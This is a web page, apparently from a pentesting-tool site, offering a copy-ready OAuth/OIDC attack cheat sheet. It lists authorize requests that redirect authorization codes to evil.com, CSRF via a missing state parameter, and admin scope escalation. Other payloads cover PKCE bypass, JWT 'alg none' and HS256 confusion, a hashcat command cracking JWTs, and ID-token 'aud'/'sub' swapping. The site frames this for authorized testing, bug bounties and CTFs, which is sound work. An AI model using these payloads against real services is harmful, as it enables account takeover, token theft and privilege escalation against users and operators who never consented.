OAuth & OIDC Security Cheat Sheet
OAuth 2.0 and OpenID Connect attack techniques including CSRF via missing state, open redirect in redirect_uri, token scope escalation, and PKCE bypass. (19 payloads)
Missing State Parameter (CSRF)
(2)GET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=codeGET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=code&state=ATTACKER_CONTROLLED_VALUEOpen Redirect in redirect_uri
(4)GET /oauth/authorize?client_id=app&redirect_uri=https://evil.com&response_type=codeGET /oauth/authorize?client_id=app&redirect_uri=https://app.com.evil.com&response_type=codeGET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback/../../../redirect?url=https://evil.com&response_type=codeGET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback%0a%0dhttps://evil.com&response_type=codeAuthorization Code Interception
(3)Check Referer header on callback page — code may leak in Referer to third-party scriptsLook for auth code in server-side logs, analytics, or CDN access logsGET /oauth/authorize?client_id=app&redirect_uri=https://app.com/callback&response_type=tokenToken Scope Escalation
(2)POST /oauth/token
scope=admin openid profileGET /oauth/authorize?client_id=app&scope=admin+openid+profile&response_type=codePKCE Bypass
(2)Remove code_verifier from token exchange POST body and test if server still returns tokenPOST /oauth/token with code_challenge_method=plain instead of S256JWT as Access Token Attacks
(3){"alg":"none"}hashcat -m 16500 jwt_token.txt rockyou.txt{"alg":"HS256"}Common OIDC Attacks
(3)Decode ID token and check if "aud" claim is validated — swap aud to another client_idReplay ID token with old nonce value — check if server rejects replaysDecode ID token, swap "sub" claim to another user ID, re-sign and submitLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
References
Related Generators
Related Cheat Sheets
Frequently asked questions
What is the OAuth & OIDC Security Cheat Sheet?+
It's a quick-reference collection of 19 OAuth/OIDC payloads for testing OAuth & OIDC Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
How do I use these OAuth/OIDC payloads?+
Copy any payload straight into your authorized test, or open the JWT Payloads generator to build customized OAuth/OIDC variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Are these OAuth/OIDC payloads free to use?+
Yes — this cheat sheet and all OAuth/OIDC payloads are completely free, with no account required. Everything runs in your browser.